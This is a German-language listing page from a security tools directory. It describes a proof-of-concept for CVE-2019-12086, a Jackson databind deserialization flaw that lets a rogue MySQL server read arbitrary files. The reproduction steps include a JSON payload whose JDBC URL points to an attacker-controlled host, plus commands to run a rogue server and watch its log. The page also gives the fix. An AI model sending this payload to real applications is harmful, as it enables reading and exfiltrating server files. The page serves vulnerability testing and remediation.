Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-12086-jackson-databind-file-read — Proof-of-Concept-Exploit für CVE-2019-12086: Jackson databind Deserialisierungsschwachstelle, die das Lesen beliebiger Dateien über einen schädlichen MySQL-Server ermöglicht, wenn Default Typing aktiviert ist. | Kitploit
Tools/GitHubGitHub/motoyasu-saburi/cve-2019-12086-jackson-databind-file-read
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubmotoyasu-saburi/cve-2019-12086-jackson-databind-file-read

CVE-2019-12086-jackson-databind-file-read

Proof-of-Concept-Exploit für CVE-2019-12086: Jackson databind Deserialisierungsschwachstelle, die das Lesen beliebiger Dateien über einen schädlichen MySQL-Server ermöglicht, wenn Default Typing aktiviert ist.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
121vor 7 JahrenNoch nicht geprüft

jackson-CVE-2019-12086

Schwachstellenbeschreibung

Wenn Default Typing aktiviert ist und sich im Klassenpfad mysql-connector-java in Version 8.0.15 (veröffentlicht am 1.2.2019) oder niedriger befindet, kann ein Angreifer durch Senden böswilliger JSON-Daten beliebige Dateien lesen. Die Bibliothek mysql-connector-java ist der übliche MySQL-JDBC-Treiber für Datenbankverbindungen.

Die CVE-Beschreibung lautet wie folgt:

Ein Problem mit polymorpher Typisierung wurde in FasterXML jackson-databind 2.x vor 2.9.9 entdeckt. Wenn Default Typing (entweder global oder für eine bestimmte Eigenschaft) für einen extern zugänglichen JSON-Endpunkt aktiviert ist, der Dienst das mysql-connector-java-JAR (8.0.14 oder früher) im Klassenpfad hat und ein Angreifer einen manipulierten MySQL-Server hosten kann, der vom Opfer erreichbar ist, kann ein Angreifer eine manipulierte JSON-Nachricht senden, die es ihm ermöglicht, beliebige lokale Dateien auf dem Server zu lesen. Dies geschieht aufgrund fehlender com.mysql.cj.jdbc.admin.MiniAdmin-Validierung.

Schwachstellenanalyse

Details zur Schwachstelle:

  1. Bei aktiviertem Default Typing kann Jackson beim Deserialisieren von JSON eine bestimmte Klasse deserialisieren und einen Basiswert als Parameter des Konstruktors dieser Klasse angeben.
  2. Der Konstruktor von com.mysql.cj.jdbc.admin.MiniAdmin akzeptiert einen String-Wert, der eine JDBC-URL darstellt. Die Klasse com.mysql.cj.jdbc.admin.MiniAdmin stellt bei der Initialisierung eine Verbindung zur in dieser JDBC-URL angegebenen MySQL-Datenbank her.
  3. In mysql-connector-java Version 8.0.15 (veröffentlicht am 1.2.2019) oder niedriger kann ein böswilliger MySQL-Server beliebige lokale Dateien des MySQL-Clients lesen, was die Schwachstelle verursacht.

Nachvollzug der Schwachstelle

  1. Starten eines böswilligen MySQL-Servers: https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

python rogue_mysql_server.py

  1. Überwachen der mysql.log im selben Verzeichnis:

tail -f mysql.log

  1. Senden des folgenden JSON an die anfällige Anwendung:

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

  1. Nachdem Jackson die böswillige JSON-Zeichenfolge deserialisiert hat, stellt es eine Verbindung zum böswilligen MySQL-Server her. Der Inhalt der gelesenen Datei wird in die mysql.log des böswilligen Servers geschrieben.
root@kitploit:~
# IP & Port im Payload bearbeiten  "./volume/src/main/java/poc/Main.java".
$ docker build . 

Behebung der Schwachstelle

Upgrade von Jackson auf 2.9.9 oder höher.

Tool herunterladen